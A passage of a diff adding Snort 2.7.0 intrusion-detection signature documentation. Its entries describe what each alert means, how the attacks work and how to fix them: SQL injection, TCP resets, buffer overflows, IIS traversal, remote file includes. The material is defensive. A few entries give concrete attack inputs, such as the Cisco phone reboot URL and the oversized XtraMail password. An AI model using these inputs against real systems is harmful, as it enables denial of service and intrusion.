+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Francisco Charrua Photo-Gallery
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2523.txt
+++ snort-2.7.0/doc/signatures/2523.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2523
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Transmission Control Protocol (TCP) used in Border
+Gateway Protocol (BGP).
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+The Border Gateway Protocol uses TCP to maintain sessions when handling
+DNS queries. A vulnerability in the core implementation of TCP may make
+it possible for an attacker to reset a number of connections and cause a
+Denial of Service (DoS) to occur.
+
+The attack is possible because the listening service will accept a TCP
+sequence number within a range of what is expected in an established
+session. Since BGP relies on an established TCP session state, guessing
+a suitable sequence number to reset connections is feasible.
+
+--
+Affected Systems:
+	Various implementations of TCP by multiple vendors
+
+--
+Attack Scenarios:
+An attcker needs to send a specially crafted packet to reset a
+connection.
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2319.txt
+++ snort-2.7.0/doc/signatures/2319.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2319
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ebola from PLD Software.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible.
+
+--
+Detailed Information:
+Ebola from PLD Software is used to improve the performance of Anti-Virus
+solutions on Linux systems.
+
+A buffer overflow condition is present in the authentication mechanism
+such that it may be triggered by the generation of an error message from
+an unsuccessful authentication attempt.
+
+--
+Affected Systems:
+	All versions of Ebola prior to 0.1.5
+
+--
+Attack Scenarios:
+An attacker can send specially crafted authentication attempts to the Ebola system and
+cause the buffer overflow thus presenting the opportunity to execute
+arbitrary code.
+
+--
+Ease of Attack:
+Simple. Expoits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3075.txt
+++ snort-2.7.0/doc/signatures/3075.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3075
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"unsubscribe" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1214.txt
+++ snort-2.7.0/doc/signatures/1214.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1214
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1857.txt
+++ snort-2.7.0/doc/signatures/1857.txt
@@ -0,0 +1,64 @@
+Rule:
+--
+Sid:
+1857
+--
+Summary:
+This event is generated when a client is requesting the file "robot.txt"
+from a web server.
+
+--
+Impact:
+Information Disclosure. This file may contain data that could provide an
+attacker with information that could assist in an attack on the server.
+
+--
+Detailed Information:
+In the early days of the web, when search engines first began indexing 
+sites, it was often desirable to tell the indexing programs, referred 
+to as robots, not to index certain parts of a site. A standarized 
+method of accomplishing this was created; by placing a file called 
+"robot.txt" or "robots.txt" in the root of your web site which search 
+engines could read and which would tell them what parts of your site you
+did not want indexed. However, this file can also be very valuable to 
+potential attackers if it contains information such as restricted 
+directories, cgi-bin locations, etc.
+
+--
+Affected Systems:
+Any web site that uses this method to communicate with robots.
+
+--
+Attack Scenarios:
+An attacker can read the "robot.txt" file and use any sensitive data in 
+it to profile your site in preparation for an attack.
+
+--
+Ease of Attack:
+Simple. No exploit software required. Any browser can request a copy of 
+"robot.txt" from the server.
+
+--
+False Positives:
+Many. Most automated search engine indexing programs still request this 
+file prior to crawling through a web site.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure that your "robot.txt" file, if you need one, does not contain any
+sensitive data.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1988.txt
+++ snort-2.7.0/doc/signatures/1988.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 1988
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+MSN Protocol
+http://www.hypothetic.org/docs/msn/
+Devarticles
+http://www.devarticles.com/index2.php?option=content&task=view&id=225&pop=1&hide_ads=1&page=1
+MSN Messenger Protocol
+http://www.venkydude.com/articles/msn.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/2154.txt
+++ snort-2.7.0/doc/signatures/2154.txt
@@ -0,0 +1,60 @@
+Rule:
+
+
+--
+Sid:
+2154
+
+--
+Summary:
+This event is generated when a remote user attempts to access autohtml.php on a web server. This may indicate an attempt to exploit a  vulnerability in PHP-Proxima, a web site portal application.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event may indicate an attempt to exploit a vulnerability in the autohtml.php script within PHP-Proxima. An attacker can use directory traversal techniques when accessing autohtml.php to view hidden files and directories on the web server with the access privileges of the server. In addition, an attacker can enter an arbitrary file name within the "name" parameter of the autohtml.php call, and if the file exists, the attacker can view it.
+
+--
+Affected Systems:
+Any server running PHP-Proxima.
+
+--
+Attack Scenarios:
+An attacker can use directory traversal techniques or use a specific filename in the "name" parameter of the URL when executing autohtml.php to view specific directories and files on the web server.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses autohtml.php, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Comment out or remove the "include("autohtml/$name");" line from the autohtml.php script.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7598
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11630
+
+--
--- snort-2.7.0.orig/doc/signatures/2648.txt
+++ snort-2.7.0/doc/signatures/2648.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2648
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "instantiate_online" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "refresh_template_name"
+variable to cause the overflow. The result could permit the attacker
+to gain escalated privileges and run code of their choosing. This
+attack requires an attacker to logon to the database with a valid
+username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck631.html
+
+--
--- snort-2.7.0.orig/doc/signatures/489.txt
+++ snort-2.7.0/doc/signatures/489.txt
@@ -0,0 +1,75 @@
+Rule:
+  
+--
+
+Rule:
+--
+Sid:
+489
+
+--
+
+Summary:
+This event is generated when an attempt is made to log into an ftp 
+server with an empty password.
+
+--
+
+Impact:
+Possible unauthorized access, invalid login attempt.
+
+--
+
+Detailed Information:
+An attempt was made to log into an ftp server with an empty password. 
+This is an unusual behavior as every ftp login usually has a password, 
+even anonymous ones. An empty password might mean the system was already
+compromised and a username exists with no password.
+
+--
+
+Affected Systems:
+Machines running ftp servers.
+
+--
+
+Attack Scenarios:
+An attacker gains access to the system via a vulnerability, creates a 
+login without a password and then tries to ftp to the system with that 
+login.
+
+--
+
+Ease of Attack:
+Simple, no exploit software required.
+
+--
+
+False Positives:
+There might be legitimate users on the system with empty passwords, but 
+not very likely.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Check all the usernames on the system for empty passwords.
+
+--
+
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS322
+
+--
--- snort-2.7.0.orig/doc/signatures/122-4.txt
+++ snort-2.7.0/doc/signatures/122-4.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-4
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a tcp
+distributed portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/100000458.txt
+++ snort-2.7.0/doc/signatures/100000458.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000458
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "DPVision Tradingeye Shop" application running 
+on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "image" parameter in the "details.cfm" script 
+used by the "DPVision Tradingeye Shop" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using DPVision Tradingeye Shop
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1814.txt
+++ snort-2.7.0/doc/signatures/1814.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1814
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a flaw on a 
+Cisco VoIP telephone.
+
+--
+Impact:
+Denial of Service.
+
+--
+Detailed Information:
+Certain versions of Cisco's VoIP phones are vulnerable to an attack that
+can cause them to reboot when they recieve an http request such as 
+http://ciscophoneip/StreamingStatistics?<value> where <value> is an 
+integer value of arbitrary high value, typically a number greater than 
+32768.
+
+--
+Affected Systems:
+	Cisco VoIP Phones 7910, 7940, and 7960
+	  (software version 3.0 to 3.2)
+
+--
+Attack Scenarios:
+A remote user can send the exploit url to the phone, causing the phone 
+to reboot and disallowingthe user to place or recieve calls for up to 30
+seconds.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives: 
+None known.
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com> 
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/4794
+
+--
--- snort-2.7.0.orig/doc/signatures/989.txt
+++ snort-2.7.0/doc/signatures/989.txt
@@ -0,0 +1,63 @@
+Changed message since it really didn't reflect what was happening
+Rule:
+
+--
+Sid:
+989
+
+--
+Summary:
+This event is generated when an attempt is made to access the sensepost.exe file. 
+
+--
+Impact:
+Remote access. This attack may permit the execution of arbitrary commands on the vulnerable server. 
+
+--
+Detailed Information:
+A vulnerability associated Microsoft Internet Information Services (IIS) servers allows an attacker to escape the web root directory (inetpub) permitting navigation to unauthorized directories.  This vulnerability is exploitable by encoding characters in unicode because unauthorized directory traversal is not examined after the unicode decoding.  A widely available script exploits this vulnerability and copies the \winnt\system32\cmd.exe file to \inetpub\scripts\sensepost.exe, essentially allowing an attacker to execute arbitrary commands on the vulnerable host even after the patch has been applied. 
+
+--
+Affected Systems:
+Microsoft IIS 4.0, 5.0 
+
+--
+Attack Scenarios:
+An attacker can attempt to access the sensepost.exe file to execute arbitrary commands on the exploited server. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch referenced in the Microsoft link.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0884
+
+Bugtraq
+http://www.securityfocus.com/bid/1806
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/2450.txt
+++ snort-2.7.0/doc/signatures/2450.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+2450
+
+--
+Summary:
+This event is generated when a user in your network has successfully logged into Yahoo Instant Messenger.
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be appropriate in certain network environments.
+
+--
+Detailed Information:
+A user must successfully logon to an Yahoo Instant Messenger server before participating in any exchanges, such sending or receiving messages, files, or webcams, or chatting by voice.  Many of these activities are not appropriate in a corporate environment.  Also, the exchanges are transacted via Yahoo IM servers so there is no assurance of privacy.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+Once logged in, a Yahoo IM user may unwittingly accept a malicious file that may contain a worm, virus, Trojan, or backdoor to name a few.
+
+--
+Ease of Attack:
+Easy. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/1998.txt
+++ snort-2.7.0/doc/signatures/1998.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1998
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the file
+calendar.php. Multiple applications are vulnerable to SQL injection
+techniques that may lead to the execution of SQL code of the attackers
+choosing.
+
+--
+Affected Systems:
+	All systems running PHP calendar applications
+	VBulletin
+	Invision Power Board
+
+--
+Attack Scenarios:
+An attacker can manipulate user supplied variables to include SQL code
+of their choosing in the request to a vulnerable application.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/512.txt
+++ snort-2.7.0/doc/signatures/512.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+512
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to a PC
+running pcAnywhere
+
+--
+Impact:
+Serious. By the very nature of pcAnywhere, without a strong administrative
+password, a successful attack will allow the attacker to gain total 
+control of the machine.
+
+--
+Detailed Information:
+pcAnywhere is a remote control administrative software package produced 
+by Symantec (http://www.symantec.com/pcanywhere/Consumer/features.html) 
+it allows control of a system via network or RAS connection.
+
+--
+Affected Systems:
+	Windows XP Home and Professional
+	Windows 2000 Professional/Server
+	Windows NT Workstation and Server 4.0
+	Windows 98/Me
+
+--
+Attack Scenarios:
+With a copy of pcAnywhere, and attacker can scan a network (port 22) or
+war-dial a series of modems, looking for pcAnywhere signatures.
+
+--
+Ease of Attack:
+Simple. All that is required is an install of pcAnywhere and a host
+to connect to.
+
+--
+False Positives:
+Since pcAnywhere uses the same port as SSH (22) a simple open port scan 
+can show hosts that my not have pcAnywhere installed
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Make sure only servers and workstations that require remote control have
+pcAnywhere installed.
+Make sure that a strong password is required for any level of access, 
+this ideally should be coupled with some for of alternate 
+authentication, such as SecurID, modem callback or be blocked at the 
+external firewall so that the remote control functionality is only 
+available on the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  Mike Rivett ebiz@rivett.org
+
+-- 
+Additional References:
+Symantec PC Anywhere Home Page
+http://www.symantec.com/pcanywhere/Consumer/
+
+RSA:
+RSA SecurID (www.rsasecurity.com/products/securid/)
+
+Arachnids:
+http://www.whitehats.com/info/IDS240
+
+--
--- snort-2.7.0.orig/doc/signatures/100000854.txt
+++ snort-2.7.0/doc/signatures/100000854.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000854
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "ListMessenger" application running on a webserver. Access to the file "listmessenger.php" using a remote file being passed as the "lm_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "lm_path" parameter in the "listmessenger.php" script used by the "ListMessenger" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ListMessenger
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1634.txt
+++ snort-2.7.0/doc/signatures/1634.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1634
+
+--
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Artisoft XtraMail v1.11 mailserver.
+
+--
+Impact:
+When succesfully exploited, the remote attacker can crash the POP3
+service and possibly execute arbitrary code on the mailserver.
+
+--
+Detailed Information:
+The PASS argument, used to submit authentication credentials to the 
+POP3 server XtraMail 1.11, has an exploitable buffer overflow condition 
+If a password of more than 1500 characters is submitted, the
+service will crash.  This error may be exploitable further, and could 
+then allow the attacker to execute arbitrary code on the remote system, 
+under the LocalSystem account.
+
+--
+Affected Systems:
+	All POP3 servers running Artisoft Xtramail 1.11 on Windows.
+
+--
+Attack Scenarios:
+An attacker could crash the POP server, thereby denying
+legitimate users access to their e-mail.  Skilled attackers could
+compromise the mailserver and obtain all incoming e-mail data.
+
+--
+Ease of Attack:
+The DoS attack is trivial to execute, as only a password
+longer than 1500 characters needs to be submitted.  Compromise of the
+mailserver requires more skill, but exploits are available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade XtraMail to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Maarten Van Horenbeeck (maarten@daemon.be)
+--
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10325
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-1511
+
+Bugtraq
+http://www.securityfocus.com/bid/791
+
+--
--- snort-2.7.0.orig/doc/signatures/1606.txt
+++ snort-2.7.0/doc/signatures/1606.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1606
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2351.txt
+++ snort-2.7.0/doc/signatures/2351.txt
@@ -0,0 +1,87 @@
+Rule:
+
+--
+Sid:
+2351
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
